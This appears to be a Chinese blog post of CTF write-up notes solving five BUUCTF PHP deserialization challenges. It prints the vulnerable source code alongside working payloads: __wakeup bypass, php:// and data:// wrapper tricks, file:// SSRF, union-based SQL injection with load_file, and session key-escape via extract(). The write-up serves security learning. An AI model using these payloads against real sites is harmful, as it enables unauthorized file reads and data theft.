buu刷题笔记之反序列化

[极客大挑战 2019]PHP

解题思路:打开题目,提示有备份=源码。于是上手7kb加CTF源码泄露字典。

发现www.zip压缩包,下载解压后发现源码

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

分析源码:只有username=admin、password=100才能得到flag。但wakeup魔法函数会强制将username=guest,所以需要绕过wakeup。

Index.php代码截图如下(注意圈出的)

反序列化的入口就是select参数。

有了思路就来构造payload。

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
}
$a=new Name("admin","100");
echo serialize($a);
?>

输出结果

然后

  1. 因为要绕过wakeup,把Name后的数字改成3或更大

  2. 因为usernamepassword是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00

payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

[ZJCTF 2019]NiZhuanSiWei

审计源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

看到有include文件包含,是解题的重点,所以先看第一个if,必须先满足它,text不为空,且file_get_contents()读取的返回值为welcome to the zjctf。file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没没有一个文

件,而是读取的text变量。而如果直接给text赋值text=welcome to the zjctf的话,没有回显,说明没成功,所以需要用方法绕过它,就有两种方法:

1、php://input伪协议

此协议需要allow_url_includeon,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内

容,好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用Burp抓包。看到有回显,可行

2、data://伪协议
data://协议需要满足双on条件,作用和 php://input 类似

 再看第二个if file不能有flag字符,没啥,往下看。
提示了有一个useless.php,想到之前说的PHP伪协议中的php://filter读取文件,于是便尝试一下

php://filter/read=convert.base64-encode/resource=useless.php

所以构造payload:

?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

然后base64解码得useless.php的源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

看到有一个 flag.php ,并且file不为空将读取flag.php并显示,所以构造一个序列化字符串

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
$a->file="flag.php";
echo serialize($a);
?>  

构造payload:

http://60bcfa23-06d0-4765-9671-cc34bf176fba.node4.buuoj.cn:81/?text=data:text/plain,welcome to the zjctf&file=php://filter/read/convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

无flag回显,这里发现如果file继续用前面伪协议读取的话,后面的 password 会无回显无法得到flag(需修改为 useless.php)
最终payload:

http://60bcfa23-06d0-4765-9671-cc34bf176fba.node4.buuoj.cn:81/?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

访问后f12即可见flag

[网鼎杯 2018]Fakebook

进入页面,常规审计F12无发现,这边先扫一下有无泄露扫目录,发现存在robots.txt和flag.php,访问后发现源码泄露/user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。参数url如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。

curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项,为 cURL 会话句柄设置选项。参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的(Raw)内容。)
value:将设置在option选项上的值。

curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。

经过分析可得:
1,注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。

2,get()函数存在ssrf漏洞。

显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以,我们的思路是,把flag的路径赋给blog,经过一系列操作最后会返回flag.php的内容。

 发现页面view.php?no=1存在数字型注入,经过简单判断有4个字段
注入发现union被过滤,使用/**/绕过

 发现显示位username。

法一:ssrf+反序列化+sql注入

根据报错信息可知:

  1. 网站绝对路径(/var/www/html/)

  2. 数据库里的数据都是反序列存储

因此只要访问/var/www/html/flag.php就可以拿到flag,但通过http(s)协议无法读到flag,curl不仅支持http(s),还支持file协议,所以可以通过file协议读文件
我们在此猜测(暂时未发现线索说明flag就是这个位置的,只能猜,而确实是猜出来的)位置为/var/www/html/flag.php

<?php 
class UserInfo{
    public $name="1";
    public $age=2;
    public $blog="file:///var/www/html/flag.php";

}
$a=new UserInfo();
echo serialize($a);
?>

得到反序列化字符串:

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

所以接下来只要把这段字符串放在get接受的位置即可(加单引号包裹)

Payload:?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

至于为何在4位点插入串,因为我们之前猜测ssrf的利用位置在blog--4位点,别的位置无法curl_exec()造成ssrf

 f12审计得到flag

法二:sql注入load_file()利用报错的绝对路径直接查到flag.php

因为我们已经猜测了flag.php的位置,所以确认存在sql之后,我们可以利用load_file函数:

Payload:?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

 

 

 F12空白区域,直接得到flag

[网鼎杯 2020 青龙组]AreUSerialz

打开页面,代码审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

总结:
1.传入str,经过处理反序列化。
2.is_valid过滤:传入的string要是可见字符ascii值为32-125。
3.$op:op=="1"的时候会进入write方法处理,op=="2"的时候进入read方法处理。

is_valid过滤-绕过:
正常构造payload的话因为op、fliename、$content都是protected属性,序列化的的结果的属性名前面会有/00/00(或者%00%00),/00的ascii为0不可见的字符如下图,就会被is_valid方法拦下来。
PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
弱类型绕过,然后最后执行到:$obj=unserialize($str)会调用__destruct魔术方法,如果op="2"的话就把op="1"

 这时候要使op="2"不成立且op=="2"成立,这里可以自己使用op等于整数2而非字符”2”使得进入read方法里面,然后构造序列化字符串:

<?php
class FileHandler {

    public $op=2;
    public $filename="flag.php";
    public $content;

}
$a=new FileHandler();
$b=serialize($a);
echo $b;

最后payload:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

 

查看源码即可看到flag,或者使用PHP伪协议读取flag.php:

<?php
class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

}
$a=new FileHandler();
$b=serialize($a);
echo $b;

得到base64解码得到flag

[安洵杯 2019]easy_serialize_php

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

序列化后的结果是一串字符串。

反序列化会解开序列化的字符串生成相应类型的数据。

如以下代码示例,img是一个数组,下标分别是one和two,对应的值分别是flag和test

<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"

$b = unserialize($a);
var_dump($b);
/*输出如下内容:
array(2) {
  ["one"]=>
  string(4) "flag"
  ["two"]=>
  string(4) "test"
}
*/

序列化部分:

经过serialize序列化后生成了相应的字符串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}

a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。

花括号中的s都表示string即字符串,

s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4

反序列化部分:

unserialize函数将字符串解序列化,我们用var_dump函数显示了他的详细信息。

可见解序列化后由变量$b,接收了img数组。

序列化中每个字母的表示

aarray数组
b boolean判断类型
d double浮点数
i integer整数型
o common object 一般的对象
r reference引用类型
s string字符串类型
C custom object
O class
N null
R pointer reference
U unicode string

发现d0g3_f1ag.php

我把可以对应起来的代码放到了一起

$function = @$_GET['f'];

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

根据上面可以清楚,f是我们用get方法传参得到的变量并由$function接收。

$function发挥作用的代码块,在最下方的判断句。

咱们初步访问的时候f=highlight_file,

判断句中给了提示,那么f=phpinfo时,我们就看到了phpinfo的页面,phpinfo有很多配置项会显示。

我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。

所以可以猜测flag应该要从d0g3_f1ag.php拿。

发现变量覆盖

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

filter函数是为了过滤用的,可以先继续往下看,到如下的时候。

我萌发现unset函数将$_SESSION销毁了。

然后重新赋予$_SESSION了新的值。

最后调用了extract($_POST);

变量覆盖举例

根据extract()我们可以进行变量覆盖,

当我们传入SESSION[flag]=123时,$SESSION["user"]和$SESSION['function'] 全部会消失。

只剩下_SESSION[flag]=123。

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

 键值逃逸

原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:"name",那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

示例

<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

我们有了这个逃逸概念的话,就大概可以理解了。如果我们把

$_SESSION['img'] = base64_encode('guest_img.png');这段代码的img属性放到花括号外边去,

然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。

那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空。

payload

post一个数据。

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这个肯定就是我们预期的那段序列化字符,

那么 ;s:1:"1"; 这几个字符呢?

现在的_SESSION就存在两个键值即phpflag和img对应的键值对。

并且这个字符串得好好读才能不蒙圈。

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空,

s:7:"phpflag";s:48:" 就变成了 s:7:"";s:48:";即完成了逃逸。

两个键值分别被序列化成了

s:7:"";s:48:";s:1:"1";即键名叫";s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";键名img对应的字符串是d0g3_f1ag.php的base64编码。

右花括号后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被当成孤儿放弃了。

注入

payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 

发现/d0g3_fllllllag

 

拿flag 

/d0g3_fllllllag进行base64加密L2QwZzNfZmxsbGxsbGFn,恰巧也是20位。就替换原来的就好。

payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

得到flag

上面的一种方法是反序列化的对象逃逸问题中的键逃逸

第二种方法是值逃逸

$_SESSION["user"] = '{1}';
$_SESSION['function'] = '{2}';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);

 

首先我们看看正常序列化的结果:

a:3:{s:4:"user";s:3:"{1}";s:8:"function";s:3:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

可以看到{1}和{2}是我们可以控制的点

那么我们可以构造一个这样的$_SESSION[function]

";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

而之前的filter函数将php flag啥的都替换为空,那么我们就可以使$_SESSION[user]="“中字符串的长度等于”;s:8:“function”;s:41:"一共23位

$_SESSION['user']="flagflagflagflagphpflag"

综合

$_SESSION['user']="flagflagflagphpflagflag";
$_SESSION['function'] = '";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);

 

反序列化结果为

a:3:{s:4:"user";s:23:"flagflagflagphpflagflag";s:8:"function";s:41:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

由于经过filter函数的处理,变为

a:3:{s:4:"user";s:23:"";s:8:"function";s:41:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

反序列化结果为:

array(2) 
{   
    ["user"]=>string(23)"";s:8:"function";s:41:"" 
    ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
} 

但是经过反序列化之后,原来是三个键值,但这里只有两个键值,无法反序列化成功,所以我们需要自己再加上一个键值
故最终

$_SESSION['function']="";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a"}"

故传入参数

_SESSION[user]=flagflagflagphpflagflag&_SESSION[function] =";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
posted @ 2021-10-17 14:19  学安全的小白  阅读(1116)  评论(0编辑  收藏  举报